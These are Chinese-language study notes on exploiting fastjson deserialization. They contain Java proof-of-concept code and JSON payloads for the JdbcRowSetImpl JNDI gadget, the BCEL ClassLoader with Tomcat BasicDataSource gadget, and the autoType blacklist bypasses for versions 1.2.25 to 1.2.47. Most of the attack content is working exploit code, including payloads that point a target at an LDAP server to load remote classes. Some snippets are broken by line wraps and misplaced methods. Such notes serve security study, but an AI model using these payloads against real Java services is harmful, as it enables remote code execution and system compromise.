

fastjson反序列化与原生反序列化不同

1.fastjson不需要实现Serializable

2.不需要变量是否transient可控变量

变量有对应的setter，或者public/static豁免组getter返回

3.反向序列化入口不是readObject，而是setter或者getter

4.执行点是相同的，反射或者类加载

JdbcRowSetImpl类+JNDI出网【<1.2.24】

(com.sun.rowset.JdbcRowSetImpl)

```
import com.alibaba.fastjson.JSON;

public class FastJsonJdbcRowSetImpl {
    public static void main(String[] args) throws Exception{

        //@type调用com.sun.rowset.JdbcRowSetImpl类里面的setter触发connet,connect触发JNDI
        注入

        // 第二个键对传入变量名
        /*
            public void setDataSourceName(String name) throws SQLException {
        */
        // 第二个值对应JNDI注入的连接

        // 第三个值对应调用connect方法的setAutoCommit
        /*
            public void setAutoCommit(boolean var1) throws SQLException {
        */
        // 第三个值传入一个布尔值

        String s = "
        {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"DataSourceName\": \"ldap://127.0
        .0.1:8085/rNMfFuPI\", \"AutoCommit\": \"false\"}";

        JSON.parseObject(s);
    }
}
```

FastJsonBcel类+动态加载（不出网）

jdk的内置类有一个方法ClassLoader的loadClass方法，在里面调用了defineClass
使用defineClass方法就要保证class_name有["\$ \$BCEL \$ \$"],并且clazz不空。那么就要满足
看createClass方法。该方法中使用了decode进行返回clazz的值，所以exp需要先encode一下

```
import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes =
convert("D:\\Tomcat\\CC\\target\\classes\\EXP\\Demo.class");
        String code = Utility.encode(bytes,true);
        //使用BCEL方式动态加载一下
        classLoader.loadClass("$$BCEL$$"+code).newInstance();

        private static byte[] convert(String s) throws Exception{
        }
    }
}
```

接下来就要考虑调用loadClass方法，在tomcat包下面找BasicDataSource类，该类里面调用了
forName方法，forName方法的底层逻辑调用了loadClass类。所以让driverClassLoade等于
ClassLoade，driverClassName等于构造的恶意类，那就可以执行。并且这两个变量可以通过
setter进行控制

最后找到某个setter或者gettr方法，调用forName方法的createConnectionFactory方法
org.apache.tomcat.dbcp.dbcp2.BasicDataSource.createDataSource
再找到createDataSource方法--最后就找到了getConnetion方法

```
import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes =
convert("D:\\Tomcat\\CC\\target\\classes\\EXP\\Demo.class");
        String code = Utility.encode(bytes,true);
        //
        classLoader.loadClass("$$BCEL$$"+code).newInstance();
    }
}
```

```

        BasicDataSource basicDataSource = new BasicDataSource();
        basicDataSource.setDriverClassLoader(classLoader);
        basicDataSource.setDriverClassName("$$BCEL$$"+code);
        basicDataSource.getConnection();
    //      JSON.parseObject(s);
    }

    private static byte[] convert(String filePath) throws IOException {
        File file = new File(filePath);

        // 检查文件是否存在
        if (!file.exists()) {
            throw new FileNotFoundException("文件未找到: " + filePath);
        }

        // 将文件内容读取到字节数组中
        try (InputStream inputStream = new FileInputStream(file)) {
            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int bytesRead;

            while ((bytesRead = inputStream.read(buffer)) != -1) {
                byteOutput.write(buffer, 0, bytesRead);
            }

            return byteOutput.toByteArray();
        }
    }
}

```

EXP

```

import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes =
convert("D:\\Tomcat\\CC\\target\\classes\\EXPFastJson\\Demo.class");
        String code = Utility.encode(bytes,true);
    //      classLoader.loadClass("$$BCEL$$"+code).newInstance();
    }
}

```

```

//      BasicDataSource basicDataSource = new BasicDataSource();
//      basicDataSource.setDriverClassLoader(classLoader);
//      basicDataSource.setDriverClassName("$$BCEL$$"+code);
//      basicDataSource.getConnection();

        String s = "
{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\", \"DriverClassName\
\": \"$$BCEL$$\"+ code +\"\", \"DriverClassLoader\
\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";

//      parseObject是先parse后toJSON，这样我们才能调用get方法：getConnection()
        JSON.parseObject(s);
    }

    private static byte[] convert(String filePath) throws IOException {
        File file = new File(filePath);
        // 检查文件是否存在
        if (!file.exists()) {
            throw new FileNotFoundException("文件未找到: " + filePath);
        }
        // 将文件内容读取到字节数组中
        try (InputStream inputStream = new FileInputStream(file)) {
            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int bytesRead;

            while ((bytesRead = inputStream.read(buffer)) != -1) {
                byteOutput.write(buffer, 0, bytesRead);
            }

            return byteOutput.toByteArray();
        }
    }
}

```

fastjson<=1.2.47

1.2.25中对@type进行了修复，检测是否能够进行AutoType，1.2.24直接进行loadClass，要对这个进行绕过

```

import com.alibaba.fastjson.JSON;

public class FastJsonBypass1247 {
    public static void main(String[] args){

```

```

//第一步：反序列化一个Class类，值为恶意类
//用之前payload从缓存中继续加载
String s = "
{{"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0
.0.1:8085/cgQuBZlq\",\"AutoCommit\":\"false\"}}";
JSON.parseObject(s);
}
}

```

FastJson1.2.25-1.2.41绕过

在缓存中获取类的下面有两个判断，也就是说在我们开启AutoType的情况下可以用下面两种方式来绕过：

- 如果以 [开头则去掉 [后进行类加载（在之前Fastjson已经判断过是否为数组了，实际走不到这一步）
- 如果以 L 开头，以 ; 结尾，则去掉开头和结尾进行类加载
- 所以我们用下面这个就可以绕过黑名单进行加载，开启AutoType：

```

import com.alibaba.fastjson.parser.ParserConfig;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

```

```

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "DataSourceName":"ldap://127.0.0.1:8085/rNMfFuPI", "AutoCommit":"false"}

```

```

package EXPFastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonBypass1247 {
    public static void main(String[] args){
        //第一步：反序列化一个Class类，值为恶意类
        //用之前payload从缓存中继续加载
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        //      String s="
        {{"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},
        {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0
        .0.1:8085/hFtNevZa\",\"AutoCommit\":false}}";

        String s="
        {\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"DataSourceName\":\"ldap://127
        .0.0.1:8085/hFtNevZa\",\"AutoCommit\":1}";
    }
}

```

```
        JSON.parseObject(s);  
    }  
}
```

FastJson1.2.42绕过:

1.2.42相较于之前的版本，关键是在 ParserConfig.java 中修改了1.2.41前的代码

- 对于传入的类名，删除开头 L 和结尾的 ;

但是可以发现在以上的处理中，只删除了一次开头的 L 和结尾的 ;，双写可以绕过。

```
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","DataSourceName":"ldap://127.0.0.1:8085/hFtNevZa","AutoCommit":1}
```

FastJson1.4.43绕过:

1.2.43版本修改了 checkAutoType() 的部分代码，对于LL等开头结尾的字符串抛出异常，这里我们就可以用 [和 { 进行绕过:

```
{"@type": "[  
[com.sun.rowset.JdbcRowSetImpl", "DataSourceName": "ldap://127.0.0.1:8085/hFtNevZa", "AutoCommit": 1}
```